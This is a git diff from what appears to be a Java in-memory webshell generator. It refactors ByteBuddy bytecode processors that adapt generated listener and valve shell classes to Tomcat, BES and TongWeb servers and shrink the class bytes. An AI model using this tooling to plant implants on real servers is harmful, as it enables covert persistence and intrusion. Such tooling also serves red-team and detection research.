public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
|
builder = modifier(builder,
|
||||||
|
server.getListenerInterceptor(),
|
||||||
|
shellToolConfig.getShellTypeDescription(),
|
||||||
|
shellClassName);
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Class<?> implInterceptor,
|
||||||
|
TypeDescription typeDefinition, String newClassName) {
|
||||||
|
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
||||||
|
|
||||||
|
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
|
||||||
|
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
|
||||||
|
" the method body will be auto adapted for multi server");
|
||||||
|
} else {
|
||||||
|
builder = builder
|
||||||
|
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||||
|
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
||||||
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
|
||||||
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(Object.class, String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
|
.intercept(StubMethod.INSTANCE)
|
||||||
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/7
|
||||||
|
*/
|
||||||
|
public class ShrinkPostProcessor implements Processor<byte[]> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.memshell.server.Bes;
|
import com.reajason.javaweb.memshell.server.Bes;
|
||||||
import com.reajason.javaweb.memshell.server.TongWeb;
|
import com.reajason.javaweb.memshell.server.TongWeb;
|
||||||
@@ -12,6 +17,7 @@ import net.bytebuddy.description.type.TypeDescription;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
@@ -20,9 +26,19 @@ import org.jetbrains.annotations.NotNull;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/22
|
* @since 2025/12/7
|
||||||
*/
|
*/
|
||||||
public class ValveGenerator {
|
public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
||||||
|
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||||
|
builder = modifier(builder, server, shellConfig.getServerVersion());
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
||||||
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
||||||
@@ -30,24 +46,33 @@ public class ValveGenerator {
|
|||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
|
||||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||||
String packageName = null;
|
String packageName = null;
|
||||||
if (serverVersion.equals("6")) {
|
if (shell instanceof Bes) {
|
||||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
|
||||||
} else if (serverVersion.equals("7")) {
|
|
||||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
|
||||||
} else if (serverVersion.equals("8")) {
|
|
||||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
|
||||||
} else if (shell instanceof Bes) {
|
|
||||||
packageName = BES_VALVE_PACKAGE;
|
packageName = BES_VALVE_PACKAGE;
|
||||||
}
|
}
|
||||||
if (StringUtils.isEmpty(packageName)) {
|
if (shell instanceof TongWeb) {
|
||||||
if (shell instanceof TongWeb) {
|
if (serverVersion == null) {
|
||||||
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
|
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||||
|
}
|
||||||
|
switch (serverVersion) {
|
||||||
|
case "6":
|
||||||
|
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||||
|
break;
|
||||||
|
case "7":
|
||||||
|
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||||
|
break;
|
||||||
|
case "8":
|
||||||
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||||
}
|
}
|
||||||
return builder;
|
|
||||||
}
|
}
|
||||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
if (StringUtils.isNotBlank(packageName)) {
|
||||||
|
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
|
}
|
||||||
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
@@ -79,7 +104,7 @@ public class ValveGenerator {
|
|||||||
int readerFlags) {
|
int readerFlags) {
|
||||||
return new ClassRemapper(
|
return new ClassRemapper(
|
||||||
classVisitor,
|
classVisitor,
|
||||||
new Remapper() {
|
new Remapper(Opcodes.ASM9) {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
||||||